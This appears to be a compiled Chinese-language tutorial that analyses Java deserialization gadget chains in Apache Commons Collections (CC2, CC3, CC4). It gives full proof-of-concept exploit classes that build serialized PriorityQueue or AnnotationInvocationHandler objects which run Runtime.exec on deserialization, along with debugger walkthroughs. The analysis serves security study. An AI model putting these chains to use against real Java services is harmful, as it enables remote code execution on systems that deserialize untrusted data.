import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc020x01 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1, Tcomparator);

        queue.add(1);
        queue.add(2);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

代码1
通过反射获取Runtime对象;

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;
new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。

queue.add(1);
queue.add(2);

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt

调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator
在这里插入图片描述

继续跟,跟进queue.add(2),调用了offer方法;

在这里插入图片描述

跟进offer方法,进入else分支,调用了siftUp方法;
在这里插入图片描述

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法;
在这里插入图片描述

继续跟,来到重点代码;

在这里插入图片描述

跟进,这里会执行两次命令;

在这里插入图片描述

但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。

那么如何让return不为0呢。
既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable方法,即comparator参数为null,修改代码,不传入comparator参数。

PriorityQueue queue = new PriorityQueue(1);

再调试看看;
这下comparator参数就为null;

在这里插入图片描述

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法;

在这里插入图片描述

这样就只是单纯给queue[1]赋值,并不会调用compare方法;

在这里插入图片描述

返回后就执行序列化代码,但是并没有执行命令,还要改进;

代码4
上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数;

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
 field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法时就会进入siftDownUsingComparator方法,调用compare方法,从而执行命令。

在这里插入图片描述

完整POC

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

Javassit补充

简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例代码

import javassist.*;

public class javassit_test {

    public static void createPerson() throws Exception{
        //实例化一个ClassPool容器
        ClassPool pool = ClassPool.getDefault();
        //新建一个CtClass,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        //设置一个要执行的命令
        String cmd = "System.out.println(\"javassit_test succes!\");";
        //制作一个空的类初始化,并在前面插入要执行的命令语句
        cc.makeClassInitializer().insertBefore(cmd);
        //重新设置一下类名
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //将生成的类文件保存下来
        cc.writeFile();
        //加载该类
        Class c = cc.toClass();
        //创建对象
        c.newInstance();
    }

    public static void main(String[] args) {
        try {
            createPerson();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

先给出POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer)  onstructor.newInstance("newTransformer");

代码2
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

代码3
这里就要用到javassit的知识;

//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块;

在这里插入图片描述

代码4
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么要这样赋值下面再说;

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

代码6
通过反射给queue的comparator参数赋值;

Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;

在这里插入图片描述

参考连接:
https://blog.csdn.net/qq_41918771/article/details/117194343
commons-collections2 利用链分析
Java安全之Javassist动态编程

cc3链

Java安全之Commons Collections3分析 - nice_0e3 - 博客园

0x00 前言#

在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是

Map(Proxy).entrySet()触发AnnotationInvocationHandler.invoke(),而CC2链的利用链是通过InvokerTransformer.transform()调用newTransformer触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。

0x01 前置知识#

在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。

InstantiateTransformer#

首先还是查看一下构造方法。
在这里插入图片描述

在查看下面的代码的时候会发现他的transform方法非常的有意思。
在这里插入图片描述

transform方法会去使用反射实例化一个对象并且返回。

TrAXFilter#

查看TrAXFilter的构造方法,会发现更有意思的事情

在这里插入图片描述

_transformer = (TransformerImpl) templates.newTransformer();

调用了传入参数的newTransformer()方法。在CC2链分析的时候,使用的是反射调用newTransformer,newTransformer调用defineTransletClasses()。最后再调用_class.newInstance()实例化_class对象。那么如果是使用TrAXFilter的话,就不需要InvokerTransformertransform方法反射去调用了。

0x02 POC分析#
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

上面是一段POC代码,先来分析一下,POC为什么要这样去构造。

 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

先来执行一遍看一下执行的结果

在这里插入图片描述

能够执行成功并且弹出计算器。

其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。

Java安全之Commons Collections2分析

这里是采用了Javassist方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe"),设置完成后,将该类转换成字节码。

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

反射获取TemplatesImpl类的_bytecodes成员变量,设置值为上面使用Javassist类转换后的字节码。

反射获取TemplatesImpl类的_name成员变量,设置值为test。

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

ConstantTransformer在调用transform方法的时候,会遍历的去调用数组里面transform方法。并且将执行结果传入到第二次遍历执行的参数里面。

在这里插入图片描述

第一次执行this.iTransformers[i]ConstantTransformer。所以,调用的是ConstantTransformertransform方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class对象。

在这里插入图片描述

而在第二次遍历执行的时候传入的就是TrAXFilter.class对象,然后再反射的去获取方法,使用newInstance实例化一个对象并且进行返回。
在这里插入图片描述

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

这里是将上面构造好的ChainedTransformer的实例化对象,传入进去。在调用lazyMap的get方法的时候,就会去调用构造好的ChainedTransformer对象的transform方法。

在这里插入图片描述

那么下面就会引出lazyMap的get方法的调用问题,再来看下面一段代码。

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

反射创建了一个AnnotationInvocationHandler对象,传入Override.classlazyMap的对象,并使用AnnotationInvocationHandler作为调用处理器,为lazyMap做一个动态代理。关于这里为什么要传入一个Override.class的问题,其实因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class还是Override.class都是可行的。

这的lazyMap作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke方法。AnnotationInvocationHandler实现了InvocationHandler ,可以被当作调用处理器传入。而我们在这时候调用lazyMap的任意方法的话,就会执行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandlerinvoke方法中就会调用get方法。

在这里插入图片描述

在调用get方法后又回到了前面说到的地方,这里就会去调用transform方法去完成后面的命令执行。这里先不细说。

在这里插入图片描述

在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。

0x03 CC3链调试#

先在AnnotationInvocationHandlerreadobject方法中去打个断点进行调试分析

在这里插入图片描述

在这里可以看到这里的this.memberValues的值为被代理的lazyMap的对象,调用了lazyMapentrySet方法。那么这时候被代理对象的调用处理器的invoke方法会执行。前面说过使用的AnnotationInvocationHandler作为调用处理器,这里调用的就是AnnotationInvocationHandlerinvoke方法,跟进一下invoke方法。

在这里插入图片描述

invoke方法在内部调用了lazyMap的get方法,再来跟进一下get方法

在这里插入图片描述

到这里其实就能看到了this.factory.transform(key);,调用了transform方法,在这里的this.factoryChainedTransformer的实例化对象。再来跟进一下transform方法就能看到ChainedTransformertransform内部的调用结构。

在这里插入图片描述

在POC构造的时候为ChainedTransformer这个对象传入了一个数组,数组的第一值为ConstantTransformer实例化对象,第二个为InstantiateTransformer实例化对象。

所以在这里第一次遍历this.iTransformers[i]的值为ConstantTransformerConstantTransformertransform会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter对象,所以在这里会直接进行返回TrAXFilter,并且会作为第二次遍历的传参值。

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

而在第二次遍历的时候,this.iTransformers[i]的值为InstantiateTransformer的实例化对象。所以调用的是InstantiateTransformertransform方法并且传入了TrAXFilter对象。跟进一下InstantiateTransformertransform方法。

在这里插入图片描述

这里其实是比较有意思的,刚刚传入的是TrAXFilter对象,所以这里的input为TrAXFilterthis.iParamTypesTemplatesthis.iArgs为构造好的恶意TemplatesImpl实例化对象。(这里之所以说他是恶意的TemplatesImpl对象是因为在前面使用反射将他的_bytecodes设置成了一个使用javassist动态创建的恶意类的字节码)

transform方法中使用getConstructor方法获取TrAXFilter参数为Templates的构造方法。
在这里插入图片描述

使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl实例化对象。在该构造方法当中会调用TemplatesImplnewTransformer方法。跟进一下newTransformer方法。

在这里插入图片描述

newTransformer方法内部调用了getTransletInstance方法再跟进一下。

在这里插入图片描述

这里可以看到先是判断了_name的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name值的原因。

下面一步是判断_class是否为空,显然我们这里的_class值是null,这时候就会调用defineTransletClasses方法,跟进一下。

在这里插入图片描述

下面标注出来这段是_bytecodes_class进行赋值,这里的_bytecodes的值是使用javassist动态创建的恶意类的字节码 执行完后,来到下一步。

在这里插入图片描述

在这里插入图片描述

这里会对该字节码进行调用newInstance方法实例化一个对象,然后就可以看到命令执行成功。

在这里插入图片描述

关于这个为什么调用newInstance实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist动态创建一个类的时候,他是怎么去构造的。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

先将该类写出来到文件中,然后再去查看。
在这里插入图片描述

看到这个其实就一目了然了,使用setBody设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。

调用链#

AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
0x04 结尾#

其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。

在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。

cc4链

0x00 前言#

继续来分析一波CC4的链,在写该文前,看到网上大部分的文章都只给了一个调用链和POC。其实看CC4调用链的时候,能看出来CC4的调用链用到的也是前面的一些类去构造,只不过把CC2 和CC3的链给拼接了一下。

Java安全之Commons Collections2分析

Java安全之Commons Collections3分析

0x01 POC#
package com.test;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();




    }
}

用网上的POC做了一个小小的改动。

前面的一大段代码,在这里就不分析了,因为在CC2和CC3的链中,都是一样的。

Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);

CC4链中在这段代码中就做了一个简单的修改。

第一步是new了一个ConstantTransformer对象存储在Transformer[]数组中传入的参数是TrAXFilter.class,如果调用到ConstantTransformer实例化对象的transform方法会直接返回一个TrAXFilter对象。

第二步new了一个InstantiateTransformer对象传入的是Templates.class和构造的恶意templates实例化对象。

第三步是使用了ChainedTransformer的修饰器将Transformer[]数组传入参数,当调用transform方法将给Transformer[]数组给遍历调用transform方法。

第四步将ChainedTransformer修饰后的对象再使用TransformingComparator修饰器给修饰一遍,这里再使用TransformingComparator来修饰一下,这样等调用到该实例化对象的compare,方法的时候就会去遍历调用Transformer[]transform方法。

在这里插入图片描述

Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);

这里反射获取PriorityQueue 的成员变量comparator,然后设置PriorityQueuecomparator值为transCom

其他的都和前面的一模一样,这里就不做具体分析了,感兴趣的可以去看看前面3条链的一个调试和分析过程。下面来做CC链的调试。

0x02 POC调试#

该链中利用的也是通过PriorityQueuereadObject作为入口点。在该readObject复写点打个断点进行跟踪。

在这里插入图片描述

readObject会调用到heapify方法。跟进一下heapify方法

在这里插入图片描述

heapify方法会再去调用siftDown方法

在这里插入图片描述

在这里如果comparator不为空,还会继续调用siftDownUsingComparator方法,comparator在这里是被修饰的Transformer[]数组。前面使用反射去进行设置的。继续跟进siftDownUsingComparator方法。
在这里插入图片描述

到了这一步后,就会调用comparatorcompare方法,在前面使用到了TransformingComparator来修饰,所有调用到TransformingComparatorcompare方法。

在这里插入图片描述

在被TransformingComparator修饰前,还使用了ChainedTransformer修饰器进行修饰,在this.transformerChainedTransformer的实例化对象。所以这里调用的是ChainedTransformertransform。前面也提过该方法会遍历调用Transformer[]数组的transform方法。

在这里插入图片描述

在第一次遍历调用transform方法时i,因为前面Transformer[]存储的第一个是ConstantTransformerConstantTransformertransform会直接返回TrAXFilter对象。

第二次调用的时候则是传入TrAXFilter调用InstantiateTransformertransform方法。

在这里插入图片描述

这里的this.iParamTypestemplates,而this.iArgs为构造的恶意TemplatesImpl实例化对象。

那么这一步就是获取TrAXFiltertemplates的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl恶意类。跟进到TrAXFilter构造方法里面,查看一下具体实现。

在这里插入图片描述

在他的构造方法里面还会对传入的对象调用newTransformer方法。

此时传入的是恶意的TemplatesImpl实例化对象。调用的则是TemplatesImplnewTransformer方法。继续跟进。

在这里插入图片描述

在该方法还会调用到getTransletInstance方法。继续跟进。
在这里插入图片描述

到了这里会判断_class为空的话就会去调用defineTransletClasses进行赋值。跟踪一下defineTransletClasses方法查看是如何赋值的。

在这里插入图片描述

_bytecodes_class进行赋值。_bytecodesRuntime类执行命令代码的字节码。

在执行完方法后,来到下一步。

在这里插入图片描述

